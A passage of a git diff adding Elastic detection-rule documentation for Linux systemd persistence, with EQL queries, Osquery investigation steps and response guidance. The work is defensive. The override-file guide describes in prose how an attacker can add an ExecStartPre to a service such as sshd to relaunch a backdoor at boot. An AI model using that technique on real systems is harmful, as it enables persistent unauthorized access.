Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Systemd Service +** ID: T1543.002 +** Reference URL: https://attack.mitre.org/techniques/T1543/002/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-systemd-service-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-systemd-service-created.asciidoc new file mode 100644 index 0000000000..1287b0542d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-systemd-service-created.asciidoc @@ -0,0 +1,252 @@ +[[prebuilt-rule-8-19-34-systemd-service-created]] +=== Systemd Service Created + +This rule detects the creation or renaming of a new Systemd file in all of the common Systemd service locations for both root and regular users. Systemd service files are configuration files in Linux systems used to define and manage system services. Malicious actors can leverage systemd service files to achieve persistence by creating or modifying services to execute malicious commands or payloads during system startup or at a predefined interval by adding a systemd timer. This allows them to maintain unauthorized access, execute additional malicious activities, or evade detection. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/ +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Resources: Osquery + +*Version*: 21 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Systemd Service Created* + + +Systemd service files are configuration files in Linux systems used to define and manage system services. + +Malicious actors can leverage systemd service files to achieve persistence by creating or modifying service files to execute malicious commands or payloads during system startup. This allows them to maintain unauthorized access, execute additional malicious activities, or evade detection. + +This rule monitors the creation of new systemd service files, potentially indicating the creation of a persistence mechanism. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible Investigation Steps* + + +- Investigate the systemd service file that was created or modified. + - !{osquery{"label":"Osquery - Retrieve File Information","query":"SELECT * FROM file WHERE path = {{file.path}}"}} +- Investigate the currently enabled systemd services through the following command `sudo systemctl list-unit-files`. +- Investigate whether any other files in any of the available systemd directories have been altered through OSQuery. + - !{osquery{"label":"Osquery - Retrieve File Listing Information","query":"SELECT * FROM file WHERE (path LIKE '/etc/systemd/system/%' OR path LIKE '/usr/local/lib/systemd/system/%' OR path LIKE\n'/lib/systemd/system/%' OR path LIKE '/usr/lib/systemd/system/%' OR path LIKE\n'/home/{{user.name}}/.config/systemd/user/%' OR path LIKE '/home/{{user.name}}/.local/share/systemd/user/%' OR path LIKE\n'/root/.config/systemd/user/%' OR path LIKE '/root/.local/share/systemd/user/%' OR path LIKE '/etc/systemd/user/%' OR\npath LIKE '/usr/lib/systemd/user/%')\n"}} + - !{osquery{"label":"Osquery - Retrieve Additional File Listing Information","query":"SELECT f.path, u.username AS file_owner, g.groupname AS group_owner, datetime(f.atime, 'unixepoch') AS\nfile_last_access_time, datetime(f.mtime, 'unixepoch') AS file_last_modified_time, datetime(f.ctime, 'unixepoch') AS\nfile_last_status_change_time, datetime(f.btime, 'unixepoch') AS file_created_time, f.size AS size_bytes FROM file f LEFT\nJOIN users u ON f.uid = u.uid LEFT JOIN groups g ON f.gid = g.gid WHERE ( path LIKE '/etc/systemd/system/%' OR path LIKE\n'/usr/local/lib/systemd/system/%' OR path LIKE '/lib/systemd/system/%' OR path LIKE '/usr/lib/systemd/system/%' OR path\nLIKE '/home/{{user.name}}/.config/systemd/user/%' OR path LIKE '/home/{{user.name}}/.local/share/systemd/user/%' OR path\nLIKE '/root/.config/systemd/user/%' OR path LIKE '/root/.local/share/systemd/user/%' OR path LIKE '/etc/systemd/user/%'\nOR path LIKE '/usr/lib/systemd/user/%')\n"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Investigate whether the altered scripts call other malicious scripts elsewhere on the file system. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + - Cron jobs, services and other persistence mechanisms. + - !{osquery{"label":"Osquery - Retrieve Crontab Information","query":"SELECT * FROM crontab"}} +- Investigate abnormal behaviors by the subject process/user such as network connections, file modifications, and any other spawned child processes. + - Investigate listening ports and open sockets to look for potential command and control traffic or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} + - Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} + + +*False Positive Analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator who uses systemd services for administrative purposes, consider adding exceptions for this specific administrator user account. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Related Rules* + + +- Potential Persistence Through Run Control Detected - 0f4d35e4-925e-4959-ab24-911be207ee6f +- Potential Persistence Through init.d Detected - 474fd20e-14cc-49c5-8160-d9ab4ba16c8b +- Systemd Timer Created - 7fb500fa-8e24-4bd1-9480-2a819352602c + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Delete the service/timer or restore its original configuration. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action in ("rename", "creation") and file.path : ( + "/etc/systemd/system/*", "/etc/systemd/user/*", "/usr/local/lib/systemd/system/*", + "/lib/systemd/system/*", "/usr/lib/systemd/system/*", "/usr/lib/systemd/user/*", + "/home/*/.config/systemd/user/*", "/home/*/.local/share/systemd/user/*", + "/root/.config/systemd/user/*", "/root/.local/share/systemd/user/*" +) and file.extension == "service" and not ( + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/usr/bin/pamac-daemon", + "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", "/usr/bin/crio", "/usr/sbin/crond", + "/opt/puppetlabs/puppet/bin/ruby", "/usr/libexec/platform-python", "/kaniko/kaniko-executor", + "/usr/local/bin/dockerd", "/usr/bin/podman", "/bin/install", "/proc/self/exe", "/usr/lib/systemd/systemd", + "/usr/sbin/sshd", "/usr/bin/gitlab-runner", "/opt/gitlab/embedded/bin/ruby", "/usr/sbin/gdm", "/usr/bin/install", + "/usr/local/manageengine/uems_agent/bin/dcregister", "/usr/local/bin/defender", "./usr/bin/podman", + "/etc/checkpoint/common/install.sh", "/usr/bin/dnf5", "/usr/lib/dracut/dracut-install", "/usr/bin/buildah", + "/opt/msp-agent/msp-agent-core", "/opt/sysmon/sysmon", "/opt/datadog-agent/embedded/bin/installer", "/usr/bin/tdnf", + "/opt/teleport/system/bin/teleport-update", "/opt/gitlab/embedded/bin/cinc-client", "/usr/libexec/snapd/snapd", + "/usr/sbin/yum-cron", "/sbin/yum-cron", "/opt/splunkforwarder/bin/splunk" + ) or + file.extension in ("swp", "swpx", "swx", "dpkg-remove") or + file.Ext.original.extension == "dpkg-new" or + process.executable : ( + "/nix/store/*", "/var/lib/dpkg/*", "/tmp/vmis.*", "/snap/*", "/dev/fd/*", "/usr/lib/virtualbox/*", + "/usr/share/elastic-agent/data/*/components/endpoint-security", "/opt/Elastic/Agent/data/*/components/endpoint-security", + "/opt/TrendMicro/EndpointBasecamp/*", "/var/lib/docker/overlay2/*dockerd", "/var/lib/containers/storage/overlay/*/dockerd", + "/var/opt/kaspersky/kesl/*/opt/kaspersky/kesl/libexec/launcher" + + ) or + process.executable == null or + process.name like ( + "ssm-agent-worker", "platform-python*", "dnf_install", "cloudflared", "lxc-pve-prestart-hook", + "convert-usrmerge", "elastic-agent", "google_metadata_script_runner", "update-alternatives", "gitlab-runner", + "install", "crio", "apt-get", "package-cleanup", "dcservice", "dcregister", "jumpcloud-agent", "executor", + "pacman", "convert2rhel", "packagekitd" + ) or + (process.name == "sed" and file.name : "sed*") or + (process.name == "perl" and file.name : "e2scrub_all.tmp*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Systemd Service +** ID: T1543.002 +** Reference URL: https://attack.mitre.org/techniques/T1543/002/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Systemd Service +** ID: T1543.002 +** Reference URL: https://attack.mitre.org/techniques/T1543/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-systemd-service-override-configuration-file-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-systemd-service-override-configuration-file-created.asciidoc new file mode 100644 index 0000000000..5c3d8888cb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-systemd-service-override-configuration-file-created.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-34-systemd-service-override-configuration-file-created]] +=== Systemd Service Override Configuration File Created + +This rule detects the creation or renaming of a new Systemd override configuration file in any of the Systemd service locations for both root and regular users. Systemd override configuration files are configuration files in Linux systems used to override the default Systemd service configuration for a specific service. Malicious actors can leverage systemd override configuration files to achieve persistence by creating or modifying services to execute malicious commands or payloads during system startup or at a predefined interval by adding a systemd timer. This allows them to maintain unauthorized access, execute additional malicious activities, or evade detection. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Systemd Service Override Configuration File Created* + + +This alert fires when a new systemd service override file appears in standard system or user service directories, which can silently change how a service starts and make malicious behavior survive reboots or user logins. An attacker might drop an override for sshd.service or a common daemon to add an ExecStartPre or timer-triggered command that launches a backdoor every boot while leaving the original unit intact. + + +*Possible investigation steps* + + +- Open the new override and compare it with the base unit and any recent approved change, focusing on directives like ExecStart, ExecStartPre, ExecStartPost, Environment, User, WorkingDirectory, OnCalendar, and WantedBy that could introduce persistence or alter privileges. +- Trace the creation back to the initiating binary, parent process chain, account, and session context to determine whether it originated from expected package management or configuration automation versus an interactive shell, script, or unknown tool. +- Review nearby host activity for `systemctl daemon-reload`, `enable`, `start`, `restart`, or timer operations, then verify whether the affected service or timer loaded the override and launched any newly referenced command. +- Examine any scripts, binaries, environment files, sockets, or network destinations referenced by the override for newly dropped or suspicious content, and hunt for similar override files on the same host and peer systems to assess spread. + + +*False positive analysis* + + +- A system administrator may legitimately create `/etc/systemd/system/.d/override.conf` during maintenance to change startup order, resource limits, or environment settings for a supported service, so verify a corresponding approved change and confirm the creating process and user session map to expected administrative activity. +- A user or root account may create a user-level `override.conf` under `~/.config/systemd/user/` or `~/.local/share/systemd/user/` to customize a legitimate per-user service, so confirm the file owner matches the affected account and that any `Exec*` or `Environment` entries reference the expected application path and business use. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network while keeping it powered on, preserve the malicious `override.conf`, the base unit file, any referenced scripts or binaries, and the output of `systemctl cat ` and `systemctl status ` for evidence and scoping. +- Remove attacker persistence by disabling and stopping the altered service or timer, deleting the malicious drop-in directory or `override.conf`, reversing any added `Exec*`, `Environment`, or `OnCalendar` directives, and running `systemctl daemon-reload` before confirming the unit now matches the approved baseline. +- Search the host and peer systems for additional drop-ins under `/etc/systemd/system`, `/usr/lib/systemd/system`, and user service paths, then quarantine any newly referenced payloads, kill related processes, and block their hashes or paths in endpoint controls. +- Restore the system to a known-good state by reinstalling or replacing any modified unit files, scripts, and binaries from trusted packages or backups, rotating credentials and secrets used by the affected service account, and rebuilding the host if integrity cannot be confidently verified. +- Escalate to incident response immediately if the override modified a high-value service such as `sshd`, a security agent, or a network-facing daemon, if root-level user service paths were abused, or if the same persistence appears on multiple hosts, because these signs indicate broader compromise. +- Harden the environment by restricting write access to systemd service directories, tightening sudo and configuration-management permissions, enforcing file integrity monitoring on `*.service.d/override.conf`, and alerting on unauthorized `systemctl enable`, `daemon-reload`, and service or timer changes. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action in ("rename", "creation") and +file.extension == "conf" and file.path like ( + "/etc/systemd/system/*.d/*.conf", "/etc/systemd/user/*.d/*.conf", "/usr/local/lib/systemd/system/*.d/*.conf", + "/lib/systemd/system/*.d/*.conf", "/usr/lib/systemd/system/*.d/*.conf", "/usr/lib/systemd/user/*.d/*.conf", + "/home/*/.config/systemd/user/*.d/*.conf", "/home/*/.local/share/systemd/user/*.d/*.conf", + "/root/.config/systemd/user/*.d/*.conf", "/root/.local/share/systemd/user/*.d/*.conf" +) and +not process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", "/usr/local/sbin/apk", "/usr/bin/dnf5", + "/usr/bin/apt", "/usr/bin/puppet", "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/pacman", + "/usr/bin/chef-client", "/bin/chef-client", "/usr/bin/pamac-daemon", "/bin/pamac-daemon", "/usr/local/bin/dockerd", + "/usr/bin/crio", "/usr/bin/podman", "/usr/bin/tdnf", "/usr/bin/apk", + "/usr/libexec/netplan/generate", "/usr/lib/systemd/system-generators/netplan" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Systemd Service +** ID: T1543.002 +** Reference URL: https://attack.mitre.org/techniques/T1543/002/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Systemd Service +** ID: T1543.002 +** Reference URL: https://attack.mitre.org/techniques/T1543/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-systemd-service-started-by-unusual-parent-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-systemd-service-started-by-unusual-parent-process.asciidoc new file mode 100644 index 0000000000..c263710472 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-systemd-service-started-by-unusual-parent-process.asciidoc @@ -0,0 +1,240 @@ +[[prebuilt-rule-8-19-34-systemd-service-started-by-unusual-parent-process]] +=== Systemd Service Started by Unusual Parent Process + +Systemctl is a process used in Linux systems to manage systemd processes through service configuration files. Malicious actors can leverage systemd services to achieve persistence by creating or modifying service files to execute malicious commands or payloads during system startup. This allows them to maintain unauthorized access, execute additional malicious activities, or evade detection. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/springtail-kimsuky-backdoor-espionage +* https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/ +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux +* Resources: Osquery + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Systemd Service Started by Unusual Parent Process* + + +Systemd service files are configuration files in Linux systems used to define and manage systemd services. + +Malicious actors can leverage systemd service files to achieve persistence by creating or modifying service files to execute malicious commands or payloads during system startup. This allows them to maintain unauthorized access, execute additional malicious activities, or evade detection. + +This rule monitors the execution of the systemctl binary to start, enable or reenable a systemd service, potentially indicating the creation of a persistence mechanism. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible Investigation Steps* + + +- Investigate the currently enabled systemd services through the following command `sudo systemctl list-unit-files`. +- Investigate whether any other files in any of the available systemd directories have been altered through OSQuery. + - !{osquery{"label":"Osquery - Retrieve File Listing Information","query":"SELECT * FROM file WHERE ( path LIKE '/etc/systemd/system/%' OR path LIKE '/usr/local/lib/systemd/system/%' OR path LIKE\n'/lib/systemd/system/%' OR path LIKE '/usr/lib/systemd/system/%' OR path LIKE '/home/user/.config/systemd/user/%' )\n"}} + - !{osquery{"label":"Osquery - Retrieve Additional File Listing Information","query":"SELECT f.path, u.username AS file_owner, g.groupname AS group_owner, datetime(f.atime, 'unixepoch') AS\nfile_last_access_time, datetime(f.mtime, 'unixepoch') AS file_last_modified_time, datetime(f.ctime, 'unixepoch') AS\nfile_last_status_change_time, datetime(f.btime, 'unixepoch') AS file_created_time, f.size AS size_bytes FROM file f LEFT\nJOIN users u ON f.uid = u.uid LEFT JOIN groups g ON f.gid = g.gid WHERE ( path LIKE '/etc/systemd/system/%' OR path LIKE\n'/usr/local/lib/systemd/system/%' OR path LIKE '/lib/systemd/system/%' OR path LIKE '/usr/lib/systemd/system/%' OR path\nLIKE '/home/{{user.name}}/.config/systemd/user/%' )\n"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Investigate whether the altered scripts call other malicious scripts elsewhere on the file system. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + - Cron jobs, services and other persistence mechanisms. + - !{osquery{"label":"Osquery - Retrieve Crontab Information","query":"SELECT * FROM crontab"}} +- Investigate abnormal behaviors by the subject process/user such as network connections, file modifications, and any other spawned child processes. + - Investigate listening ports and open sockets to look for potential command and control traffic or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} + - Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} + + +*False Positive Analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator who uses systemd services for administrative purposes, consider adding exceptions for this specific administrator user account. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Related Rules* + + +- New Systemd Service Created by Previously Unknown Process - 17b0a495-4d9f-414c-8ad0-92f018b8e001 +- Potential Persistence Through Run Control Detected - 0f4d35e4-925e-4959-ab24-911be207ee6f +- Potential Persistence Through init.d Detected - 474fd20e-14cc-49c5-8160-d9ab4ba16c8b +- New Systemd Timer Created - 7fb500fa-8e24-4bd1-9480-2a819352602c + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Delete the service/timer or restore its original configuration. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. 